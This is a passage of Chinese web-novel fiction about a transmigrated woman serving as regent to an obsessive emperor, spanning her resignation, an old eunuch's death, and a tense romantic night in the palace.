她辛辛苦苦熬夜批阅奏折,费尽心力稳固朝堂。 结果他醒来,不问国事,不思民生,脑子里想的居然是这种……这种事?! 哈? 狗皇帝,脑子里装的是陈年老醋吧! 宋迎忽然就不气了。 甚至还有点想笑。 诶嘿—— 那这事儿,可就有得玩了。 宋迎一想到接下来要说的话,长睫不受控制地颤了颤。 那双眼眸,瞬间染上一层恍然大悟。 她的手,试探着攀上永昭帝胸膛。 掌心下,是他失控乱跳的心脏。 安抚似的触碰,怒气真就平息了些许。 但箍着腰的力道依旧没松,只是随着 宋迎攀上的掌心,指腹不住地摩挲着腰间的云纹刺绣。 宋迎借力直起身,寻了舒服姿势后,便毫不留恋地撤回了手。 永昭帝眸底刚燃起的一点微光,瞬时黯了下去。 “原来陛下是介怀此事。” 宋迎早就知道狗皇帝会派人监视她,那昨日她去暖阁的事,他肯定也知道。 只是那暖阁高悬,风雪交加,除非他派去的暗卫是长了顺风耳的千里眼,否则是不可能知道她与盛向明究竟谈了什么的。 “是臣疏忽了。”宋迎诚恳道,“与朝臣私下议事,本该先向陛下报备,是臣逾矩。” 永昭帝的脸色又黑沉了三分。 议事?逾矩? 她当他是三岁稚子,听不懂她话里的避重就轻吗! 他捏紧她的腰,顺势将她整个人按向自己。 腰际相抵,心跳相闻。 永昭帝倾身向前,咬牙道:“你——” “不过,”宋迎却抢在他发作前,截断了他的话。 她微微偏头,仿佛真的在回忆。 “说起来,盛大人的确是位妙人。” 永昭帝周身气压瞬间降至冰点。 宋迎像是毫无所觉,继续往火上浇着油。 “他为人耿直,谈吐亦十分风趣,更难得的是,他知晓许多辽州旧事,连臣都未曾听过。” 她说到这里,忽而一顿,缓缓抬眸,对上那双充血凤眼,勾唇笑道:“臣与他,当真是……相见恨晚。” 相、见、恨、晚? 这四个字,瞬间被吞进急剧收缩的瞳孔里。 力道倏然一松,是震惊下的失神。 下一瞬,却是报复性的收紧,指骨嵌入腰身,碾在那处。 这家伙……好像不是在装。 是真的要气疯了。 宋迎疼得直皱眉。 罢了,虎须捋得差不多了,再捋下去,怕是真的要被咬死了。 鼻尖轻轻蹭着胸膛。 她抬起手,没去对抗那份禁锢,而是沿着他的指节,一点点覆上他手背。 永昭帝呼吸一窒。 那只手温润柔软,不带半分寒意,亦无半分滚烫,可是—— 贴上来的时候,却惹得他浑身战栗。 宋迎这才仰起脸,乌黑眸子摄人心魄。 而后,她目光缓缓下移,落在颤抖的喉结上。 委屈道:“陛下,您弄疼我了。” 第38章 第38章她是他亲手浇灌的花。…… 锢在她腰身的手臂肌肉瞬间绷紧,随即,又在暴怒的顶点倏然凝滞。 宋迎能感觉到,他手臂上贲张的肌肉正微微发着抖,进退维谷,悬停在危险边缘。 最终,那股失控力道,还是一点点卸了力,抽离开来。 宋迎,在他心神剧震的刹那,抓住了空隙。 目光划过腰间,她直起了身子。 ——朝服料子硬挺,那处却被他捏出一团褶皱。 她抬手,将那褶皱抚平。 宋迎抬眼看向他。 那双眼睛依旧一瞬不瞬地盯着她,眼底狰狞淡去。 他胸膛剧烈起伏,呼吸粗重。 接着,宋迎撩起衣摆,缓缓跪了下去。 “陛下息怒。” 声音平波无惊,“臣方才所言,并非有意顶撞,只是……” 停顿片刻,她深吸一口气,复又说道: “如今,陛下龙体康泰,臣这个‘摄政王’。已然名不副实。” 抬起头,宋迎果然看到了永昭帝措手不及的讶异。 她恍然未见,神色坦然:“在其位,谋其政。若无其位,臣便不会干涉朝局,更不会……引起陛下如此误会。” “为免朝野非议,也为安陛下之心,” 宋迎俯下身,额头抵地,“臣恳请陛下,收回摄政之权。” 叽叽歪歪的,我不干了还不行吗! 沉默。 死寂。 斜阳寸寸挪移,拖曳在地的光影落到宋迎脊背,烫得她睫毛一颤。 她俯首于地,等着永昭帝的反应。 狗皇帝的脾气,她再清楚不过了。 ——多疑暴戾,近乎偏执。 他绝对不会放她走的。 她只能去赌。 以退为进,是她眼下唯一的筹码。 随着她的下跪,永昭帝垂下眼眸,薄唇抿得冷硬线条。 目光剐着纤细背脊。 满心空落。 那团烈火仿佛瞬间燃尽,心上一地灰烬。 良久,永昭帝溢出一声冷嗤。 “宋迎,你当真是为了……安朕之心吗?” “臣不敢欺君。”宋迎维持着俯首姿势,恭谨回道。 永昭帝眸光渐渐沉了下去。 收回摄政之权? 舌尖舔过齿间,永昭帝一遍遍咀嚼着这句话。 她以为他在意的是这点权力? 她以为他是怕她功高盖主? 轻飘飘一句卸职,就想把自己摘得一干二净? 胸口有什么东西攥成一团,倏而放大,又倏而缩小,反复折磨。 这是她欲擒故纵的手段? 还是说—— 是为了向他表明,她和盛向明之间清清白白,从此划清界限? 不对…… 她刚才还说了,相见恨晚…… 呼吸声又变得粗重起来。 她说过她想要回家,那他方才的旨意,岂不是正合她意! 交出权柄,再无牵挂,她要逃到那个男人身边去吗?! 脸部肌肉不受控制地痉挛起来,面容扭曲得有些可怖。 她是他亲手扶上高位的棋子, 是他亲手浇灌的花, 棋子,没有资格自己离开棋盘。 花,更没有权利选择为谁而开。 她的一切,都该由他来赏赐! 暴戾的念头驱使着他,指骨颤抖着,缓缓张开—— 就要扣上她削瘦的肩胛! 突然,永昭帝顿住了。 她算准了! 她一定是算准了! 这又是她设下的局! 一定是的! 她就是算准了……算准了他的舍不得! 指骨又慢慢收紧,握成了拳。 手背青筋暴起,蜿蜒向上。 最终,五指却一松,无力垂回身侧。 下一刻,永昭帝竟低低地笑了起来。 初时是压在喉间的闷笑,随即,笑声越来越大,在空旷里回荡,显得森然癫狂。 “收回摄政之权?” 他居高临下地看着地上的人,“好啊!朕允了!” 骇人笑声中,宋迎伏在地上,心脏被攥得生疼,疼得直冒冷汗。 得到答复,她闭上了双眼,“……臣,叩谢陛下。” 行礼,躬身后退。 她转身出了金銮殿,每一步都走得沉稳如常。 永昭帝定定看着那道决绝背影,一点点消失在视野里。 眼中瞳孔剧烈地一缩,缩成一道竖线。 金芒一闪,挣扎瞬息后,又被汹涌而上的幽暗吞没。 金光乍现,黑暗绞杀; 又是幽暗翻涌,又被金光刺穿。 如此反复,如此往复。 快到最后,双色已分不清彼此,在眼底搅弄一片。 腥热猛地逆行上涌,永昭帝猛地侧头,吐出一口鲜血。 他扶着身侧栏杆,剧烈地喘息着,几乎要支撑不住摇晃身形。 眼底金芒缓缓褪去,又沉为一片黑暗。 * 宋迎出了金銮殿早就在心里骂开了。 去他丫的摄政王!爱谁当谁当去! 她不稀罕! 天天起得比鸡早,睡得比狗晚,日日加班熬夜批奏折,头发都要秃了! 穿着这身破衣服不好看也就算了! 又沉又重,头顶上那几斤重的破珠冠就压得人颈椎病都要犯了! 还不如干基层呢! 当基层多好!工资照拿,责任老板扛! 就该摆自己的烂!摸自己的鱼! 当个勤勤恳恳的打工人,都他丫的没好下场! 宋迎一路骂骂咧咧冲回偏殿,一头扎进被子里。 凭什么啊。 吃力不讨好,脏活累活全是她干的,最后还要被怀疑,被羞辱,受这天大的委屈。 鼻头一酸,眼眶骤热。 脸被埋进被子里,一开始,只是小声的抽噎。 最后,宋迎终于忍不住,嚎啕大哭了起来。 都是些什么玩意儿啊! 哭到后面,又变回了无声的抽噎。 发泄完,宋迎从被 子里抬起脸来。 哭得整个人乱七八糟的。 她从床上爬起来,抹了抹泪痕。 扯弄着把这身晦气的亲王朝服脱了下来。 然后,从箱底翻出了那件粉绿。 还是当个小宫女好。 天塌下来,总有润德公公替她顶着。 她吸吸鼻子,用冷水净了把脸。 宋迎打算去看看润德公公。 听太医说,他身子好得差不多了。正好,她这个摄政王也不用当了,她继续跟在润德公公后面混日子。 推开门,冬日灼烈,天高云淡。 檐下晶莹冰棱悄然消融,凝成水珠,一颗接着一颗地砸在地上,碎成一滩水渍。 “润德公公!” 宋迎几步奔过去,“太医说您身子大好,那什么时候回来当值啊?” “难得不下雪,要不要出去走走?” 润德公公还靠在引枕上,见着宋迎,灰败眼中才漾开些许笑意。 “今儿怎么不去万春殿伺候了?” 一句话,又勾起了委屈。 宋迎撇撇嘴,眼圈倏地红了:“……不去了。” “陛下龙体康健,用不着我这块挡箭牌了。” 鼻音闷闷的,“马前卒用完了,当然要从棋盘上下来。” 她说着,习惯性地去拉润德公公的手,想撒个娇。 “往后呀,我还是跟着公公的四等宫女,还得靠公公您照拂呢。” 指尖被冰冷刺得一缩,宋迎心头一沉,正想细问,却对上润德公公那双笑意盈盈的眼睛。 他问道:“陛下,可有下旨?” “啊?他、他亲口答应的!”宋迎表情瞬间凝固,“君无戏言!口谕……口谕难道不算圣旨吗?” 宋迎语速变快,有些语无伦次。 “宋小姑娘,”润德公公反手,用另一只手握住她的。 摇着头,笃定道:“……回不去了。” 宋迎的瞳孔骤然一缩。 她看着润德公公掀开被褥,施施然下了榻。 他的动作不急不缓,取过大氅披上。 “走吧,”他朝宋迎伸出手,“方才不是还吵着,要陪咱家走走么?” …… …… 临近年结的宫城,哑得像座陵墓。 赤红灯笼未挂,朱墙上铜钩光秃秃的。 风呼呼作响,卷过长廊,像是鬼哭。 听得宋迎心惊胆战的,只得搂紧了润德公公的胳膊。 看起来是宋迎搀扶着润德公公。 实则,是宋迎被他牵着,浑浑噩噩地往前走。 回不去了。 回不去了…… 这四个字一直在她心头盘旋,堵得心口发慌。 润德公公没有说话,只是领着她,穿过一道又一道宫门,往宫苑深处去。 也不知走了多久,眼前出现一处园林。 “御花庭?” 宋迎停下脚步,终于找回了自己的声音,好奇问道:“怎么来这儿?” “如今天寒地冻,百花凋零,御花庭里只有枯枝败叶,有什么可看的?” 她指了指隔壁,“倒不如去西边的梅园,踏雪寻梅,也算桩雅事。” 润德公公闻言,脚步一顿。 他回过头,静静地看着宋迎。 “小姑娘,”他缓缓开口,声音散在寒风里,“你错了。” 他引着她,踏入萧瑟。 “这里,不是御花庭。” “这里是百墓坡。” 第39章 第39章大反派,他快死了。 脚下是覆着薄雪的冻土。 风穿过交错枯枝,发出阵阵凄厉呜咽。 “百、百墓坡?”宋迎唇角白气瞬间散开,她扯了扯嘴角,却笑不出来,“这里分明是御花庭……” 她望着润德公公的背影,声音被急风轻而易举地吞去。 润德公公没有回头,只是慢慢走在前头。 佝偻背影像是枯木,风一吹,便摇摇欲坠。 宋迎心头一紧,还是挪了步子,上前扶住了他。 掌心触到的,依旧是料峭寒意。 润德公公缓缓侧过头,沟壑纵横的脸上,朝她绽开一个笑。 细细眼缝里沉着一片灰蒙。 他另一只手,拍了拍宋迎手背,拉着她,继续往前走去。 枯瘦指节点了点左边,又划过右边,姿态悠然,仿佛真的在欣赏园景。 “这里,能开出大景最名贵的花。”润德公公面露欣赏,带着几分身处满园春色的迷醉。 “……想让花儿开得够艳、够久,得用最肥沃的养料。” 宋迎心头猛地一跳,“难道说……” 话未出口,宋迎扶着的手便想抽回,却被润德公公反手扣住。 那只手皮肤松弛,却干瘦有力,钳着她的腕骨。 眼前温厚长者,让宋迎通体生寒。 润德公公没有回答宋迎的问题。 笑意敛去,浑浊的眼珠转向她,“……都回不去了。” “小姑娘穿上了这身人人艳羡的朝服,坐上了人人眼红的高位。” 灰败表情松了一刹,“朝服易脱,可是心呢?” 润德公公意味深长地看着宋迎,“那颗见过血、尝过了权柄的心——小姑娘,能剜得掉吗?” 润德公公轻笑一声,顺势松开了手。 宋迎只觉手臂失了力,无力垂下。 润德公公蹒跚着走远,嘴里反复念叨着那句: “回不去咯……都回不去咯……” 那声音缠着宋迎双脚,令她动弹不得。 喉咙发紧,竟是一个字也发不出来。 前方那佝偻的背脊猛地一颤,紧接着,是撕心裂肺的咳嗽声。 宋迎顾不及其他,急忙上前扶住他软倒的身体。 “公公!” 润德公公剧烈地喘息着,抬起袖子抹去唇边的血沫。 他深深地看了宋迎一眼,笑了,带着如释重负的解脱。 “陛、陛下自幼……心性执拗,”他断断续续地说着,“你……你……” 话未说完,他又猛地弓下身子,脸色瞬间灰败黯淡。 这次,宋迎再也搀扶不住,两人一同栽倒在雪中。 积雪被砸出一个深坑,怀中温度正在飞速流逝。 “咱家……也回不去了。” 润德公公涣散的瞳孔倒映着漫天飞雪,“咱家……也要葬在这里了。” 他望着灰蒙蒙的天,喃喃道,“风大了……小姑娘,回家吧。” 怀中的身躯彻底僵住,再无声息。 风雪骤然加剧,鹅毛雪片,砸落在这世间。 仿佛要将一切尽数掩埋。 宋迎抱着润德公公,一动不动地跪在雪地里,任由自己被落雪堆成雪人。 回不去了。 是啊,都回不去了。 狗皇帝不会放过她的。 但是—— 她要回家。 她回不去可以。 她一定要回家。 雪落无声。 宋迎感觉不到冷,又或许是早已麻木。 倏然,明黄袍角撕开了一片白茫,闯入视野。 宋迎覆着霜雪的眼睫,微不可查地一颤。 靴尖沾着新雪,停在了她的面前。 宋迎没有抬头,视线落了一瞬,便漠然移开。 “来人。” 永昭帝的目光,掠过她覆满雪的肩头。 数十名玄甲禁卫如鬼魅般现身,单膝跪地,鸦雀无声。 “摄政王失仪,”他垂眸,视线落在那张青白交加的脸上,“带摄政王回偏殿,好生整冠。” 宋迎心中冷笑,他果然不会放过她。 禁卫上前,从她怀里将润德公公抱起。 复又对她拱手行礼,口中称着:“殿下。” 她没有为难那些听令行事的禁卫。 撑着双膝,宋迎自己站了起来。 殿门大敞,暖气瞬息间朝她扑来。 靴跟刚踏过门槛,禁卫的声音便在身后响起: “陛下口谕,请殿下更衣后……去见驾。” 宋迎微不可查地点了点头。 她再度走出殿门时,风雪已然遮天蔽日。 漫天飞雪如絮,吞噬了偌大巍峨宫城。 永昭帝就站在廊庑下。 没有撑伞,肩头与发顶落了薄薄一层,如神祗,亦如白鬼罗刹。 他转过身,眼神空洞无光:“随朕来。” 说罢 ,转身踏入风雪。 宋迎默然跟上。 他们一前一后,走上宫城最高的城楼。 狂风肆虐,吹得人几乎立足不稳。 宋迎扶住垛口,衣袂被卷成蝶翼。 下一瞬,永昭帝在她身后站定,高大的身影为她挡去了一半风雪。 他靠得很近,声音落在宋迎耳畔:“看。” 顺着他手指方向,宋迎向下看去。 本该举行的年节朝贺,下令废止。 万家灯火熄灭,长街空无一人。 一列缟素队伍,抬着一口薄棺,如同蜿蜒墨痕,正沿着宫中秘道,向城外移动。 没有幡动,没有哀乐。 那墨色在无边无际的白中晕开,仿佛随时会被雪色湮没。 宋迎的心跳漏了一拍。 冷风倒灌入喉,刮得喉咙发疼,“……这是去哪儿?” “皇陵。” 皇陵……? 电光石火间,一切都串联了起来。 一个荒谬到极致,却又无比贴合眼前这个疯子的念头,在她脑中炸开。 宋迎猛地转头,看向永昭帝。 那双麻木眼底,掀起了惊涛骇浪。 “先帝……”她声音发颤,“你要把润德公公葬在皇陵?” 入先帝陵寝的,是润德公公?! 永昭帝忽然低低地笑了起来,那笑声从喉咙深处滚出来,带着胸腔震动,而后越来越大,越来越放肆,最后变成了撕心裂肺的狂笑。 宋迎可以理解永昭帝的想法。 如果是那样的父亲,的确不配在九泉之下安息。 这点疯狂,似乎也顺理成章。 她看着雪花落在他浓黑睫毛上,瞬息融化,洇湿一片,水光衬得他眼尾殷红。 触及宋迎满目震惊,永昭帝的笑声戛然而止。 他倏然收臂,将她圈住怀里,胸膛烫上她脊背。 唇擦过她的鬓角,“宋迎,朕不介意……” ——不介意什么? “朕……什么都不介意……” 只要你在, 只要你还在…… 也——只有你在。 他的脸越靠越近,宋迎能看清他睫上残余的水光。 她以为,他会吻她。 可是他没有,他低下头,埋进了她的颈窝。 宋迎一动不动,任由他靠着、抱着。 其实,她震惊的,不是“内侍代替先皇入葬皇陵”这种事。 是宋迎方才看见城下的年节灯笼,突然意识到—— 时间,近了。 大反派,他快死了。 第40章 第40章她穿越的意义? “所以,朝岁宴不办了——” 她执拗地问出了口, “——是因为润德公公吗?” 朔风裹着大雪,像是要吞进世间一切。 宋迎缩在龙袍之下,汲取着他的温度,目光追随着垛口下那口缓缓远去棺椁。 直至玄黑棺椁一点点被苍茫覆白,耳后才传来沉郁沙哑的声音: “宫宴聒噪的很。” 他脸埋在她颈窝,声音闷闷的。 说话带着灼人鼻息,一下下喷在宋迎后颈。 “不办。” 宋迎手脚被冻得麻木,可被他唇息触碰的那一小块皮肤,却滚烫至极,顺着经络,一路烧进心口。 她记得,原书有提到过: 永昭帝性情暴戾,嗜杀成性。自登基之后,从未办过任何宴席。 偏偏是这一年除夕,他破例了。 那场朝岁宴,成了全书最后的高潮。 黎婧容趁着宫中守卫松懈,冒险劫狱。 可现在—— 他却说,不办了。 他从来没有想过要举行朝岁宴! 宋迎的心被风雪裹住,一寸寸沉了下去。 不办朝岁宴,那原书剧情要如何进行下去? 他不办宴席,宫中守卫便不会松懈。 宫中守卫不松懈,黎婧容便救不出怀玉泽。 她救不出怀玉泽,便没有那惊心动魄的那一幕。 那他就看不见…… 看不见,又怎会万念俱灰? 不万念俱灰,又怎会自戕? 他若不死。 那她,又怎么回家? 宋迎被劈得浑身一颤。 难道说,她穿越而来的意义—— 是要她亲手,将眼前这个男人,重新推回他既定的结局? 心底,润德公公幽幽问道: “小姑娘,舍不舍得?” 她有什么舍不得的? 她被狗皇帝当做棋子,玩弄于股掌之上,被他利用至此,她又有什么舍不得的?! 豺狼要完了。 这头吃人的豺狼终于要死了! 待宰的羔羊不应该拍手称快吗! 为了回家,她什么都可以舍得。 什么都可以舍得。 宋迎细微的战栗,惊得身后的人呼吸一滞。 随即,圈在她腰间的手臂骤然收紧。 外袍被扯下几寸,一截雪白后颈暴露在风雪中。 碎雪趁虚而入,冰到极致,便是触体生疼。 宋迎下意识地缩了缩脖子,呼吸陡然屏住。 突然,永昭帝不再满足于身后禁锢。 掌心稍稍施力,宋迎便被他强行翻转过来,被迫与他对视。 “宋迎,” 他哑然唤她的名字,那双眼睛布满血丝,目光凶悍。 可戾气太满,满溢而出的……竟然是脆弱。 宋迎还没理顺原书情节,便被那眼神刺了一下。 她被那点脆弱惊得一怔,下一瞬,后脑便猛地被扣住了。 “唔!” 惊呼被堵回唇齿之间。 唇上寒气被滚烫舌尖卷了过去。 宋迎被他亲过很多次。 除了最开始,他很少像这样,吻得如此之凶。 脖颈大幅度地仰着,被迫承受着掠夺。 突然,一丝咸涩顺着纠缠,钻了进来。 眼泪? ……他哭了? 宋迎心口一阵发麻。 下一息,这个想法便被她否了。 不可能,这可是书里毁天灭地的大反派—— 但宋迎还是忍不住,睁开了眼。 长睫挂雪,眼前朦胧一片。 她分不清。 她分不清…… 就在失神刹那,永昭帝从微张唇齿间,品到了茫然的回应。 眸色一暗,瞬间被炙热吞没。吻势骤然加深。 但奇怪的是,宋迎却没有了先前那种快要窒息的痛苦感。 他会特意留出空隙,教她换气。 突如其来的温柔,让宋迎逐渐沉溺。 逐渐沉溺—— 唇瓣却倏然相离,毫无征兆。 宋迎刚一抬眸,又觉腰间一紧,整个人被腾空抱起。 风雪被他轻易撞开,她下意识抓住胸前衣襟。 耳畔,是擂在她耳膜上的心跳,落在猎猎作响的风里,模糊而空洞。 …… 永昭帝将她抛在偏殿的榻上。 身下的狐裘毯柔软,她乌黑长发铺开,衬得小脸冷白如雪。 宋迎支起半个身子,一双惊惶眼眸越发楚楚可怜。 他欺身向上,掌心按住她肩头,轻轻一推,她便又躺回了原处。 他不想让她逃走。 再次俯身吻下。 舌尖探入,勾缠着,手上急着去寻她的革带。 忽然,一抹苦涩漾开。 舌尖卷过,而后喉结重重滚动了一下。 那抹苦涩顺着舌尖,蔓至舌根,苦得他舌根微微发颤。 唇齿相抵,永昭帝半睁着眼睛。 他看见她长睫湿润,痛苦地蹙着眉。 又是喉结滚过,永昭帝本能地退了出来,心却跳得厉害,撞得厉害—— 在城墙上的时候,他的心就好痛—— 不,在看见润德的时候,他的心就好痛。 他想吻她。 他的心越痛,就越想吻她—— 只有吻了她,他的心才不会那么痛。 但为什么吻了她之后,他整个身体开始不对劲了? 又涨了好多。 他吻了她,痛苦真的被抚平了,但更为难受的燥意 腾起。 为什么? 是不是一直亲她,就可以缓解了? 就像之前那样—— 吞尽她口中津液。 可是……他好想闻她身上的味道。 她还从来没有散发出这么馥郁的香气—— 没有以前那么纯冽净澈,却引人沉沦。 是不是因为落雪? 他闻见了湿冷的雪气,驳杂污浊。 不好闻。 不好闻不好闻不好闻…… 他要干净。 他要干净的味道,只有她的味道。 脱掉。 把这些脏东西都脱掉。 他像是中了蛊,扯开她外袍,扔下床榻—— 不行,不够,还不够。 太驳杂了! 太污浊了! 再脱! 再脱掉! 他的动作愈发粗暴,直到唇边尝到了苦味。 ——她哭了? 动作骤然一僵。 他撑起上身,借着窗外天光,看见宋迎咬着下唇,细眉皱成一团,努力不让呜咽声泄出。 心头微动,永昭帝抬起手,想去碰被沁出血珠的下唇。 宋迎却一个激灵,嚎啕大哭起来。 她猛地翻过身去,背对着他,似乎不想让他瞧见她的哭相。 五指抓紧身下裘毯,腰间系带早已被扯落,随着动作,大片莹白暴露在永昭帝视野里。 永昭帝看着那片纤细的蝴蝶骨,剧烈地颤抖着。 身体里那股未散的灼意,瞬间被折断了。 甚至—— 他甚至开始刻意放缓呼吸,不想让自己吵到她。 他、他弄疼她了? 他缓缓伸出手,落在宋迎肩上,大拇指指腹从后颈,一路摩挲到散乱的发间。 他刚想开口唤她的名字。 却听见那团哭得发颤的身体里,挤出断断续续的字眼—— “可、可不——” “可不可以……” “可不可以……办今年的朝岁宴?” 这个请求,没有由来。 突兀且不合时宜。 但他不需要思考,直直地从喉咙里滚出一个字: “好。” 是不是答应她,她就不会哭了? 永昭帝这样想着。 得到他应允后,哭声停了。 宋迎却霍然转身,凌乱衣衫又扯得更开,露出晃眼雪白。 可永昭帝只能看见那双哭得猩红的眼睛。 那双眼眸盈满了泪,她嘶吼出声: “——你为什么要答应?!” 话音未落,她揪住他前襟,猛地朝后一拽。 他没有抵抗,身形顺着她的力道,踉跄着向前倾去。 双臂撑在她头两侧,咫尺之间,呼吸可闻。 “为什么往年不办,今年就要办?!” “为什么之前决定了的事情,又因为我的一句话,要反悔了?!” 她揪着他不放,一声比一声更尖锐,最后几乎是破音喊出: “为什么——!” 怎么哭的更厉害了? 永昭帝任由她发泄,抬起手,捻起她滑落至臂弯的衣衫,慢条斯理地,为她拢上。 “因为,”指尖擦过肌肤,他笑了一声,“你哭了啊。” 永昭帝笑了。 但是他不明白,自己为什么想笑,为什么心里那点沉郁烦躁,会被她的眼泪冲得干净。 他更不明白,他明明是在遂她的愿, 为何她这般激动,比刚才还要绝望。 “摄政王,” 永昭帝缓缓开口,“三省六部,一应事务,可自行决断,不必事事来问。” 唇角笑意加深,“区区一个朝岁宴,也值得你来朝朕哭?” 那只攥着他衣襟的手,骤然失了力道,颓然滑落。 “我——” 话未说完,宋迎张了张嘴,又被泪意吞没。 40-50 第41章 第41章一步错,步步错。 她想说什么? 她什么也说不出来。 喉咙口被堵住,才吐出一个字,汹涌热泪便夺眶而出。 这次,她连翻身的力气都没有了。 四肢虚的发抖发颤,软成烂泥。 崩溃,决堤。 他答应了。 狗皇帝他答应了! 这不就是她想要的吗! 顺应剧情发展,逃离男女主爱恨纠葛,回家当个咸鱼躺尸的路人甲…… 这就是她想要的啊! 那她到底在哭什么? ——肯定不可能是…… 对,她……她应该是还没做好准备,被他吓到了。 他方才的样子太凶,太粗鲁,把她吓坏了! 一定是这样的! 吓得她都喘不上气,吓得她心脏发疼,比强吻她还过分! 狗皇帝赶紧……去、赶紧滚吧! 就算是内心腹诽,宋迎也发现,自己念不出那个最狠的字。 她抬起小臂,死死压住自己的眼睛,仿佛这样就能挡住那道悬在她上方的视线。 “宋迎,” 他又在唤她了。 “看着朕。” 声音落下,温热触感轻轻碰了碰她遮眼的手臂。 那力道很轻,克制地试探着,没有半分强迫意味。 但是宋迎却反射性地一抖。 那只手果然一僵,旋即无声退去。 “为什么要哭呢?” 声音压得更低了,几乎是一缕气音。 “因为——” 才说了两个字,宋迎又说不下去了。 泪水争先恐后地从臂弯缝隙涌出,浸湿了鬓发,也洇湿了身下裘毯。 永昭帝依旧维持着将她笼罩在身下的姿势,好整以暇地等着下半句。 他出奇地有耐心。 最初的那点疼惜,被泪水灌溉,竟然病态地滋生出一个想法来—— 她哭起来……原来这么好看。 像是被打湿的梨花。 哪怕遮住了那双顾盼生辉的眼,也好看得……不得了。 他好想看她哭红的眼睛。 想看盈盈水光,只盛满他一个人的身影。 撑在她身侧的手掌下意识地收紧,裘毯被他揪成一团。 视线黏在她颊边,一缕黑发被泪水打湿,贴着瓷白。 鬼使神差地,不,是他终究没能忍住—— 指尖微动,小心翼翼地勾起那缕湿发,替她拨到了耳后。 “因为?” 他哑声重复着她的话。 哭声停了一瞬。 指腹触碰耳廓的瞬间,宋迎连颤抖都忘了。 她控制不住地打了个哭嗝,“因为——” “我好久、好久没吃条子肉了。” 条子肉? 永昭帝脑中过了一息,眉心蹙了蹙,那是什么东西? 光听名字,便透着浓油赤酱,断然是膳房不会做的吃食。 是了,他想起她不止一次地提过想回辽州。 在他看来,京州是天底下至盛至繁之地,金堆玉砌,锦绣繁华。 哪是辽州能比的? 可此刻,看着她哭得发颤的眼睫,眉头越收越紧—— 就这么……想家? 罢了,等忙完年下,准她告假回乡几日…… 不成。 她若走了,空气何止是寡淡无味,会腐朽,会发臭,连带着他这个人,都会一并烂掉! 每一息,都是凌迟、都是酷刑。 辽州……辽州还有那几桩悬而未决的差事,下面的人办得拖泥带水…… 正好是个由头。 他以私访的名义走一趟,似乎也并无不可。 心意已决,双眼微微眯起,眼底沉郁戾气倏然散尽,泄出几分柔光。 他索性撤了力,顺势一倒,便在她身侧躺下。 目光下移,落在她紧攥着裘毯的那只手上。 指节显出一种近乎剔透的莹白,像是羊脂玉。 那只手握过墨锭,也握过朱笔。 而如今,它颤抖着,把裘毯握成一截。 他想握住它。 他缓缓抬起手,指尖悬在她手背上方,只差分寸之遥。 突然,永昭帝却顿住了。 视线不由自主地上移,落在她微微耸动的肩头。 哭声已歇,剩下细碎的啜泣声,一下下挠着他心尖,扯弄出痒意。 他屏住呼吸—— 小心翼翼地,碰上了她绷紧的手背。 那只手蓦地一颤,却没有抽回。 永昭帝几不可闻地吸了口气,压下心中狂跳—— 终于,掌心覆了上去,将她的手全然包裹。 他的手很大,轻而易举地就握到了她的腕骨。 他感受着那份纤细的骨感,仿佛轻轻一折,就会在他掌中断裂。 他都不敢用力。 修长手指,只能慢慢地、试探性地,挤进她指缝。 直到,与她十指相扣。 宋迎没有挣扎。 一股带着战栗的欣喜,攀上心尖,痒意顺势泛滥开。 永昭帝觉得自己整个人 ,从里到外又酥又麻。 疯了。 他觉得他自己疯了。 只有疯子才会从哭泣悲伤的人身上汲取扭曲的快乐。 这个认知非但没让他清醒,反而愈加兴奋起来,力道微微收紧,恨不得所有五感全部趴到他掌心! 她的掌心温软细腻,不似他布着薄茧的手。 他用温度一点点感受着她掌心纹路。 哭声渐渐止息,剩下断断续续的抽噎。 那只被他握着的手,软顺地由着他扣住。 横在双眼上的手臂,此刻也垂了下来。 睡着了? 永昭帝微微转头,看向宋迎—— 眼睫上挂着泪,鼻子偶尔一皱,梦里还在委屈。 他忽然想起,她最近睡的是很少。 他经常看见东偏殿的长灯,彻夜未熄。 梦里似乎也不安稳,那只被他握着的手下意识地动了动,想要挣脱。 永昭帝却先一步收紧了五指,不由分说地重新与她十指紧扣。 这一次,她没再动了。 许是哭得狠了,带出一点软糯的鼻音。 “……哈?” 永昭帝瞳孔睁大,这还是他……头一次听见人打鼾。 又响了两声。 “哈咻——” “哈咻——” 那声音很轻,带着哭过后的鼻塞,像只踩奶的小猫发出的声音。 他好想完完全全地侧过身去,看她的模样。 连永昭帝自己都未曾察觉,唇角弧度慢慢变深。 人,会本能地趋向暖源。 宋迎在睡梦中动了动,无意识地朝着温暖靠近。 他能清晰地感知到,她每一寸的靠近。 发丝蹭过他的下颌, 腰肢贴上他的胸膛, 整个人像藤曼一般,缠了上来。 突然,永昭帝脑海里攀上一个想法—— 几乎没有思考,他松开交握的手。 下一瞬,他长臂一揽,一个巧劲,便将那团温软的身子整个捞了起来,稳稳安放在自己胸膛之上。 宋迎嘤咛一声,寻了个更舒服的姿势,脸颊贴着他心口,继续睡着。 另一只手扯过被褥,盖在他们两人身上。 被褥下,两具身躯紧密相贴。 均匀而绵长的呼吸,轻轻浅浅地,喷洒在他锁骨上。 他将下巴轻轻抵在她的发顶,闭上了眼。 脑中只有两个词—— 好烫、好软。 …… …… 天光大亮。 宋迎是被日光刺醒的。 大哭后,眼皮的肿胀感,让她有些头痛。 等宋迎睁开眼,她瞬间清醒了—— 这明晃晃的日头……怎么看都日上三竿了! 脑子瞬间一片空白,冷汗唰地一下就冒了出来。 那种深植于灵魂,对迟到的恐惧,直接让她心脏骤停。 完了完了! 但,身体的本能却先于理智,做出了决定—— 不、能、动。 宋迎僵硬地眨了眨眼。 然后,她才后知后觉地意识到,自己……好像不是睡在床上。 床,没有这么硬,也没有这么热。 身下这触感,温热结实,还带着平稳的、规律的起伏…… 还隐隐约约地感受到了一丝丝的不对劲。 宋迎:原地去世吧。愿阿弥陀佛保佑。阿门。 事实证明,最近没休息好的,不止宋迎一人,还有她身下这位—— 咚、咚。 咚、咚。 这心跳声不是她自己的! 宋迎大脑宕机了几秒,才被腰间骤然收紧的力道勒回了神。 她屏住呼吸,微微抬起下巴,掀起眼帘—— 她枕着的,是狗皇帝的胸膛?! 她躺人身上睡觉了?! 宋迎浑身的血都凉了半截。 睫毛微颤,她复又向上望去。 永昭帝睡得正沉。 她能听见他清浅绵长的呼吸声。 每一次呼吸,他都能带动她胸口同频起伏。 宋迎咽了口唾沫。 不免有些紧张,她还是第一次正儿八经地端详狗皇帝。 那双凤眸紧闭,睫毛垂落,将戾气寒意尽数遮掩。 平日里他眼睛一睁,凶神恶煞,活像个阎王,硬是把这张顶配的脸拉低了好几个档次。 